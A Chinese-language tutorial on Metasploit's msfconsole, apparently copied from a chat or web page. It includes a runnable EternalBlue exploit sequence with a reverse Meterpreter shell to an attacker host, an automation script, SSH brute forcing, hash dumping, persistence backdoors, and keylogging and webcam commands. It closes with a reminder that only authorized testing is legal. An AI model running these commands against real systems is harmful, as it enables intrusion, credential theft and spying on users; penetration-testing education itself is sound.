Metasploit Framework的msfconsole是一个功能强大的渗透测试框架,核心在于其模块化结构。你可以通过组合不同的模块,构建完整的测试流程。下表概述了其核心模块类型及典型用途:
| 模块类型 | 主要功能 | 典型应用场景举例 | 常用命令/关键词 |
|---|---|---|---|
| 辅助模块 (Auxiliary) | 信息收集、扫描、拒绝服务攻击等。 | 端口扫描、服务指纹识别、弱口令爆破。 | auxiliary/scanner/ |
| 渗透攻击模块 (Exploit) | 利用特定漏洞获得目标系统初始访问权限。 | 攻击已知漏洞的Samba、VSFTPD服务。 | exploit/ |
| 攻击载荷 (Payload) | 在成功渗透后,在目标系统上运行的代码。 | 获取反向Shell(reverse_tcp)、Meterpreter高级控制。 | set payload |
| 编码器 (Encoder) | 对攻击载荷进行编码,以绕过杀毒软件(AV)检测。 | 在生成木马文件前对载荷进行多重编码。 | msfvenom -e |
| 后渗透模块 (Post) | 在已控制目标后,进行信息收集、权限提升、内网移动等。 | 检查是否为虚拟机、获取密码哈希、安装后门。 | post/ |
Metasploit Framework(简称 MSF)是业界最著名的开源渗透测试平台之一,由 Rapid7 维护。msfconsole 是其命令行交互式界面,功能强大、模块丰富,广泛用于漏洞利用、后渗透、信息收集等任务。
以下是对 msfconsole 的超详细使用说明,包括核心概念、常用命令、各功能模块详解及实战示例。
一、基本概念
1. Metasploit 模块类型
- Exploit(漏洞利用模块):利用目标系统中的漏洞执行代码。
- Payload(载荷):在成功利用后执行的代码,如反弹 shell、Meterpreter 等。
- Auxiliary(辅助模块):用于扫描、枚举、DoS、嗅探等非直接攻击任务。
- Post(后渗透模块):在获得会话后执行的提权、信息收集、持久化等操作。
- Encoder(编码器):对 payload 进行编码以绕过 AV/IDS。
- NOP(空指令生成器):用于堆栈溢出等场景。
- Evasion(规避模块):生成可绕过杀毒软件的恶意文件(较新版本支持)。
二、启动 msfconsole
bash
编辑
msfconsole
首次启动会加载数据库(建议配置 PostgreSQL 以启用数据库功能)。
三、常用全局命令(在 msfconsole 中)
表格
| 命令 | 功能 |
|---|---|
| help 或 ? | 显示帮助 |
| show exploits | 列出所有 exploit 模块 |
| show auxiliary | 列出辅助模块 |
| show payloads | 列出可用 payload |
| show options | 显示当前模块所需参数 |
| use <module> | 加载指定模块(如 use exploit/windows/smb/ms17_010_eternalblue) |
| set <OPTION> <VALUE> | 设置模块参数 |
| unset <OPTION> | 取消设置 |
| setg <OPTION> <VALUE> | 全局设置(所有模块共享) |
| getg | 查看全局变量 |
| info <module> | 查看模块详细信息 |
| search <keyword> | 搜索模块(支持 CVE、平台、类型等) |
| jobs | 查看后台任务 |
| sessions | 查看已建立的会话 |
| exit / quit | 退出 |
四、核心模块详解
1. Exploit 模块使用流程
示例:利用 EternalBlue (MS17-010)
bash
编辑
msf6 > search ms17_010
# 选择 exploit
msf6 > use exploit/windows/smb/ms17_010_eternalblue
# 查看选项
msf6 > show options
# 设置必要参数
msf6 > set RHOSTS 192.168.1.100
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.50
msf6 > set LPORT 4444
# 执行攻击
msf6 > exploit
成功后将获得一个 Meterpreter 会话。
2. Payload 类型说明
- Staged vs Stageless
- Staged(分阶段):先传小 stub,再下载完整 payload(如 windows/meterpreter/reverse_tcp)
- Stageless(无阶段):一次性传输完整 payload(如 windows/x64/meterpreter_reverse_tcp)
- 常见 Payload
- cmd/unix/reverse_netcat:简单反向 shell(Unix)
- windows/shell/reverse_tcp:Windows 命令行 shell
- windows/meterpreter/reverse_https:加密通信的高级后渗透 shell
3. Auxiliary(辅助)模块
用于信息收集或漏洞探测,不直接执行 payload。
示例:SMB 版本扫描
bash
编辑
msf6 > use auxiliary/scanner/smb/smb_version
msf6 > set RHOSTS 192.168.1.0/24
msf6 > run
其他常用辅助模块:
- scanner/portscan/tcp:TCP 端口扫描
- scanner/http/dir_scanner:目录爆破
- scanner/ssh/ssh_login:SSH 暴力破解
- admin/http/tomcat_administration:Tomcat 后台爆破
4. Post(后渗透)模块
在已有 Meterpreter 会话中使用。
bash
编辑
msf6 > sessions -i 1 # 进入会话 1
meterpreter > sysinfo # 查看系统信息
# 返回 msfconsole 后运行 post 模块
msf6 > use post/windows/gather/enum_logged_on_users
msf6 > set SESSION 1
msf6 > run
常用 Post 模块:
- post/windows/manage/enable_rdp:开启远程桌面
- post/windows/gather/hashdump:导出 SAM 哈希
- post/multi/recon/local_exploit_suggester:本地提权建议
- post/windows/manage/persistence:添加持久化后门
5. Meterpreter 高级 Shell
Meterpreter 是 Metasploit 最强大的 payload,内存驻留、加密通信、可扩展。
常用 Meterpreter 命令:
表格
| 命令 | 功能 |
|---|---|
| sysinfo | 系统信息 |
| getuid | 当前用户 |
| ps | 进程列表 |
| migrate <PID> | 迁移到其他进程(防崩溃) |
| shell | 获取系统 shell |
| download / upload | 文件传输 |
| screenshot | 截图 |
| webcam_list / webcam_snap | 调用摄像头 |
| keyscan_start / keyscan_dump | 键盘记录 |
| run post/windows/manage/migrate | 自动迁移到 explorer.exe |
五、数据库集成(强烈推荐)
Metasploit 支持 PostgreSQL 数据库存储扫描结果、主机信息等。
初始化数据库(Kali Linux 默认已配置):
bash
编辑
sudo systemctl start postgresql
sudo msfdb init
在 msfconsole 中验证:
bash
编辑
msf6 > db_status
\*\] Connected to msf
**导入 Nmap 扫描结果:**
bash
编辑
msf6 \> db_import /path/to/scan.xml
msf6 \> hosts
msf6 \> services
*** ** * ** ***
**六、资源脚本(自动化)**
可编写 .rc 脚本实现自动化渗透。
**example.rc**:
rc
编辑
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
exploit -j
运行:
bash
编辑
msfconsole -r example.rc
*** ** * ** ***
**七、安全与法律提醒** **⚠️**
* 仅限授权测试:未经授权的渗透测试属于违法行为。
* 实验环境隔离:建议在虚拟机(如 VMware + NAT 网络)中练习。
* 更新 MSF:定期运行 msfupdate 获取最新漏洞模块。
*** ** * ** ***
**八、学习资源推荐**
* 官方文档: